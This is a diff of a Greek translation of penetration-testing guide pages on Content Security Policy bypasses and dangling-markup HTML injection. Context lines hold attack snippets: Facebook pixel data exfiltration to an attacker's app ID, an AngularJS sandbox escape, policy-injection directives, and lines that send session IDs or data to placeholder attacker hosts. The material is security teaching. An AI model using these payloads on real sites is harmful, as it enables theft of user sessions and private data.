Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). Σε αυτή την περίπτωση, ακολουθείτε τα παρακάτω γενικά βήματα: +Πρέπει να είστε σε θέση να εξάγετε δεδομένα, όπως γινόταν πάντα με [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). Σε αυτή την περίπτωση, ακολουθείτε τα παρακάτω γενικά βήματα: 1. Δημιουργήστε έναν λογαριασμό Facebook Developer εδώ. 2. Δημιουργήστε μια νέα εφαρμογή "Facebook Login" και επιλέξτε "Website". 3. Μεταβείτε στο "Settings -> Basic" και αποκτήστε το "App ID" σας. -4. Στον στόχο ιστότοπο από τον οποίο θέλετε να εξάγετε δεδομένα, μπορείτε να εξάγετε δεδομένα χρησιμοποιώντας απευθείας τη συσκευή SDK του Facebook "fbq" μέσω ενός "customEvent" και του payload δεδομένων. +4. Στον στόχο ιστότοπο από τον οποίο θέλετε να εξάγετε δεδομένα, μπορείτε να εξάγετε δεδομένα χρησιμοποιώντας απευθείας την συσκευή Facebook SDK "fbq" μέσω ενός "customEvent" και του payload δεδομένων. 5. Μεταβείτε στο "Event Manager" της εφαρμογής σας και επιλέξτε την εφαρμογή που δημιουργήσατε (σημειώστε ότι ο διαχειριστής εκδηλώσεων μπορεί να βρεθεί σε μια διεύθυνση URL παρόμοια με αυτή: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events -6. Επιλέξτε την καρτέλα "Test Events" για να δείτε τις εκδηλώσεις που αποστέλλονται από τον "δικό σας" ιστότοπο. +6. Επιλέξτε την καρτέλα "Test Events" για να δείτε τις εκδηλώσεις που αποστέλλονται από τον "ιστότοπό σας". -Στη συνέχεια, από την πλευρά του θύματος, εκτελείτε τον παρακάτω κώδικα για να αρχικοποιήσετε το pixel παρακολούθησης του Facebook ώστε να δείχνει στο app-id του λογαριασμού προγραμματιστή του επιτιθέμενου και να εκδώσετε μια προσαρμοσμένη εκδήλωση όπως αυτή: +Στη συνέχεια, από την πλευρά του θύματος, εκτελείτε τον παρακάτω κώδικα για να αρχικοποιήσετε το Facebook tracking pixel ώστε να δείχνει στο app-id του λογαριασμού προγραμματιστή του επιτιθέμενου και να εκδώσετε μια προσαρμοσμένη εκδήλωση όπως αυτή: ```JavaScript fbq('init', '1279785999289471');​ // this number should be the App ID of the attacker's Meta/Facebook account fbq('trackCustom', 'My-Custom-Event',{​ @@ -368,7 +368,7 @@ Online Παράδειγμα:[ ](https://jsbin.com/werevijewa/edit?html,output)[h ``` ### AngularJS events -Μια συγκεκριμένη πολιτική γνωστή ως Content Security Policy (CSP) μπορεί να περιορίσει τα JavaScript events. Παρ' όλα αυτά, το AngularJS εισάγει προσαρμοσμένα events ως εναλλακτική λύση. Μέσα σε ένα event, το AngularJS παρέχει ένα μοναδικό αντικείμενο `$event`, που αναφέρεται στο εγγενές αντικείμενο event του προγράμματος περιήγησης. Αυτό το αντικείμενο `$event` μπορεί να εκμεταλλευτεί για να παρακαμφθεί το CSP. Σημαντικά, στο Chrome, το αντικείμενο `$event/event` διαθέτει ένα χαρακτηριστικό `path`, που περιέχει έναν πίνακα αντικειμένων που εμπλέκονται στην αλυσίδα εκτέλεσης του event, με το αντικείμενο `window` να βρίσκεται πάντα στο τέλος. Αυτή η δομή είναι καθοριστική για τις τακτικές διαφυγής από το sandbox. +Μια συγκεκριμένη πολιτική γνωστή ως Content Security Policy (CSP) μπορεί να περιορίσει τα JavaScript events. Παρ' όλα αυτά, το AngularJS εισάγει προσαρμοσμένα events ως εναλλακτική λύση. Μέσα σε ένα event, το AngularJS παρέχει ένα μοναδικό αντικείμενο `$event`, το οποίο αναφέρεται στο εγγενές αντικείμενο event του προγράμματος περιήγησης. Αυτό το αντικείμενο `$event` μπορεί να εκμεταλλευτεί για να παρακαμφθεί η CSP. Σημαντικά, στο Chrome, το αντικείμενο `$event/event` διαθέτει ένα χαρακτηριστικό `path`, το οποίο περιέχει έναν πίνακα αντικειμένων που εμπλέκονται στην αλυσίδα εκτέλεσης του event, με το αντικείμενο `window` να βρίσκεται πάντα στο τέλος. Αυτή η δομή είναι καθοριστική για τις τακτικές διαφυγής από το sandbox. Κατευθύνοντας αυτόν τον πίνακα προς το φίλτρο `orderBy`, είναι δυνατόν να επαναληφθεί, εκμεταλλευόμενοι το τερματικό στοιχείο (το αντικείμενο `window`) για να ενεργοποιηθεί μια παγκόσμια συνάρτηση όπως το `alert()`. Το παρακάτω απόσπασμα κώδικα διευκρινίζει αυτή τη διαδικασία: ```xml @@ -421,7 +421,7 @@ content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" /> ``` Αν το CSP είναι ρυθμισμένο σε `https://www.google.com/a/b/c/d`, καθώς η διαδρομή λαμβάνεται υπόψη, τόσο τα scripts `/test` όσο και `/a/test` θα αποκλειστούν από το CSP. -Ωστόσο, το τελικό `http://localhost:5555/301` θα **ανακατευθυνθεί από τον server σε `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Δεδομένου ότι πρόκειται για ανακατεύθυνση, η **διαδρομή δεν λαμβάνεται υπόψη**, και το **script μπορεί να φορτωθεί**, παρακάμπτοντας έτσι τον περιορισμό της διαδρομής. +Ωστόσο, το τελικό `http://localhost:5555/301` θα **ανακατευθυνθεί από την πλευρά του διακομιστή σε `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Δεδομένου ότι πρόκειται για ανακατεύθυνση, **η διαδρομή δεν λαμβάνεται υπόψη**, και το **script μπορεί να φορτωθεί**, παρακάμπτοντας έτσι τον περιορισμό της διαδρομής. Με αυτή την ανακατεύθυνση, ακόμη και αν η διαδρομή καθοριστεί πλήρως, θα παρακαμφθεί. @@ -446,7 +446,7 @@ Image().src='http://PLAYER_SERVER/?'+_) ``` Από: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle) -Μπορείτε επίσης να εκμεταλλευτείτε αυτή τη ρύθμιση για να **φορτώσετε κώδικα javascript που έχει εισαχθεί μέσα σε μια εικόνα**. Αν, για παράδειγμα, η σελίδα επιτρέπει τη φόρτωση εικόνων από το Twitter. Μπορείτε να **δημιουργήσετε** μια **ειδική εικόνα**, να την **ανεβάσετε** στο Twitter και να εκμεταλλευτείτε το "**unsafe-inline**" για να **εκτελέσετε** έναν κώδικα JS (όπως μια κανονική XSS) που θα **φορτώσει** την **εικόνα**, θα **εξάγει** τον **JS** από αυτήν και θα **τον εκτελέσει**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/) +Μπορείτε επίσης να εκμεταλλευτείτε αυτή τη ρύθμιση για να **φορτώσετε κώδικα javascript που έχει εισαχθεί μέσα σε μια εικόνα**. Αν, για παράδειγμα, η σελίδα επιτρέπει τη φόρτωση εικόνων από το Twitter. Μπορείτε να **δημιουργήσετε** μια **ειδική εικόνα**, να **την ανεβάσετε** στο Twitter και να εκμεταλλευτείτε το "**unsafe-inline**" για να **εκτελέσετε** έναν κώδικα JS (όπως μια κανονική XSS) που θα **φορτώσει** την **εικόνα**, θα **εξάγει** τον **JS** από αυτήν και θα **τον εκτελέσει**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/) ### Με Service Workers @@ -462,7 +462,7 @@ Image().src='http://PLAYER_SERVER/?'+_) #### Chrome -Αν μια **παράμετρος** που στέλνετε **επικολλάται μέσα** στη **δήλωση** της **πολιτικής,** τότε μπορείτε να **αλλάξετε** την **πολιτική** με κάποιον τρόπο που την καθιστά **άχρηστη**. Μπορείτε να **επιτρέψετε το script 'unsafe-inline'** με οποιονδήποτε από αυτούς τους παρακάμψεις: +Αν μια **παράμετρος** που στέλνετε **επικολλάται μέσα** στη **δήλωση** της **πολιτικής,** τότε μπορείτε να **αλλάξετε** την **πολιτική** με κάποιον τρόπο που την καθιστά **άχρηστη**. Μπορείτε να **επιτρέψετε το script 'unsafe-inline'** με οποιαδήποτε από αυτές τις παρακάμψεις: ```bash script-src-elem *; script-src-attr * script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline' @@ -548,7 +548,7 @@ run() ### Παράκαμψη CSP περιορίζοντας το CSP -Στο [**αυτή την αναφορά CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), το CSP παρακάμπτεται με την εισαγωγή μέσα σε ένα επιτρεπόμενο iframe ενός πιο περιοριστικού CSP που απαγόρευε τη φόρτωση ενός συγκεκριμένου JS αρχείου που, στη συνέχεια, μέσω **prototype pollution** ή **dom clobbering** επέτρεπε να **καταχραστεί ένα διαφορετικό σενάριο για να φορτώσει ένα αυθαίρετο σενάριο**. +Στην [**αυτή την αναφορά CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), το CSP παρακάμπτεται με την εισαγωγή μέσα σε ένα επιτρεπόμενο iframe ενός πιο περιοριστικού CSP που απαγόρευε τη φόρτωση ενός συγκεκριμένου αρχείου JS που, στη συνέχεια, μέσω **prototype pollution** ή **dom clobbering** επέτρεπε να **καταχραστεί ένα διαφορετικό σενάριο για να φορτώσει ένα αυθαίρετο σενάριο**. Μπορείτε να **περιορίσετε ένα CSP ενός Iframe** με το **`csp`** χαρακτηριστικό: ```html @@ -583,7 +583,7 @@ document.querySelector("DIV").innerHTML = - Αυτή η διεύθυνση URL στη συνέχεια ανακατευθύνει σε μια μυστική διεύθυνση URL (π.χ., `https://usersecret.example2.com`) που **δεν επιτρέπεται** από το CSP. - Ακούγοντας το γεγονός `securitypolicyviolation`, μπορεί κανείς να συλλάβει την ιδιότητα `blockedURI`. Αυτή η ιδιότητα αποκαλύπτει το domain της μπλοκαρισμένης URI, διαρρέοντας το μυστικό domain στο οποίο ανακατευθύνθηκε η αρχική διεύθυνση URL. -Είναι ενδιαφέρον να σημειωθεί ότι οι περιηγητές όπως ο Chrome και ο Firefox έχουν διαφορετικές συμπεριφορές στη διαχείριση των iframes σε σχέση με το CSP, οδηγώντας σε πιθανή διαρροή ευαίσθητων πληροφοριών λόγω μη καθορισμένης συμπεριφοράς. +Είναι ενδιαφέρον να σημειωθεί ότι οι περιηγητές όπως ο Chrome και ο Firefox έχουν διαφορετικές συμπεριφορές στη διαχείριση iframes σε σχέση με το CSP, οδηγώντας σε πιθανή διαρροή ευαίσθητων πληροφοριών λόγω μη καθορισμένης συμπεριφοράς. Μια άλλη τεχνική περιλαμβάνει την εκμετάλλευση του CSP αυτού καθαυτού για να συμπεράνουμε το μυστικό υποdomain. Αυτή η μέθοδος βασίζεται σε έναν αλγόριθμο δυαδικής αναζήτησης και στην προσαρμογή του CSP για να περιλαμβάνει συγκεκριμένα domains που είναι σκόπιμα μπλοκαρισμένα. Για παράδειγμα, αν το μυστικό υποdomain αποτελείται από άγνωστους χαρακτήρες, μπορείτε να δοκιμάσετε επαναληπτικά διαφορετικά υποdomains τροποποιώντας την οδηγία CSP για να μπλοκάρετε ή να επιτρέψετε αυτά τα υποdomains. Ακολουθεί ένα απόσπασμα που δείχνει πώς μπορεί να ρυθμιστεί το CSP για να διευκολύνει αυτή τη μέθοδο: ```markdown @@ -599,7 +599,7 @@ Trick from [**here**](https://ctftime.org/writeup/29310). ### PHP Errors when too many params -Σύμφωνα με την [**τελευταία τεχνική που σχολιάστηκε σε αυτό το βίντεο**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), η αποστολή πάρα πολλών παραμέτρων (1001 GET παραμέτρων αν και μπορείτε επίσης να το κάνετε με POST παραμέτρους και περισσότερα από 20 αρχεία). Οποιαδήποτε καθορισμένη **`header()`** στον PHP web κώδικα **δεν θα σταλεί** λόγω του σφάλματος που θα προκαλέσει αυτό. +Σύμφωνα με την [**τελευταία τεχνική που σχολιάστηκε σε αυτό το βίντεο**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), η αποστολή πάρα πολλών παραμέτρων (1001 GET παραμέτρων αν και μπορείτε επίσης να το κάνετε με POST παραμέτρους και περισσότερα από 20 αρχεία). Οποιαδήποτε καθορισμένη **`header()`** στον κώδικα PHP **δεν θα σταλεί** λόγω του σφάλματος που θα προκαλέσει αυτό. ### PHP response buffer overload @@ -643,7 +643,7 @@ document.location = "https://attacker.com/?" + sessionid ``` ### Meta tag -Μπορείτε να ανακατευθύνετε εισάγοντας μια ετικέτα meta (αυτή είναι απλώς μια ανακατεύθυνση, δεν θα διαρρεύσει περιεχόμενο) +Μπορείτε να ανακατευθύνετε εισάγοντας μια ετικέτα meta (αυτό είναι απλώς μια ανακατεύθυνση, δεν θα διαρρεύσει περιεχόμενο) ```html ``` diff --git a/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md b/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md index 4e1c84a8b..b324ed87f 100644 --- a/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md +++ b/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md @@ -7,13 +7,13 @@ Αυτή η τεχνική μπορεί να χρησιμοποιηθεί για να εξάγει πληροφορίες από έναν χρήστη όταν βρεθεί μια **HTML injection**. Αυτό είναι πολύ χρήσιμο αν **δεν βρείτε κανέναν τρόπο να εκμεταλλευτείτε ένα** [**XSS** ](../xss-cross-site-scripting/) αλλά μπορείτε να **εισάγετε μερικές HTML ετικέτες**.\ Είναι επίσης χρήσιμο αν κάποιο **μυστικό αποθηκεύεται σε καθαρό κείμενο** στο HTML και θέλετε να **εξάγετε** αυτό από τον πελάτη, ή αν θέλετε να παραπλανήσετε κάποια εκτέλεση σεναρίου. -Διάφορες τεχνικές που αναφέρονται εδώ μπορούν να χρησιμοποιηθούν για να παρακάμψουν κάποια [**Content Security Policy**](../content-security-policy-csp-bypass/) εξάγοντας πληροφορίες με απροσδόκητους τρόπους (html ετικέτες, CSS, http-meta ετικέτες, φόρμες, base...). +Διάφορες τεχνικές που αναφέρονται εδώ μπορούν να χρησιμοποιηθούν για να παρακάμψουν κάποια [**Content Security Policy**](../content-security-policy-csp-bypass/) εξάγοντας πληροφορίες με απροσδόκητους τρόπους (html tags, CSS, http-meta tags, forms, base...). ## Main Applications ### Stealing clear text secrets -Αν εισάγετε `test ### Κλοπή φορμών 3 -Το κουμπί μπορεί να αλλάξει τη διεύθυνση URL όπου οι πληροφορίες της φόρμας θα σταλούν με την ιδιότητα "formaction": +Το κουμπί μπορεί να αλλάξει τη διεύθυνση URL στην οποία θα σταλούν οι πληροφορίες της φόρμας με την ιδιότητα "formaction": ```html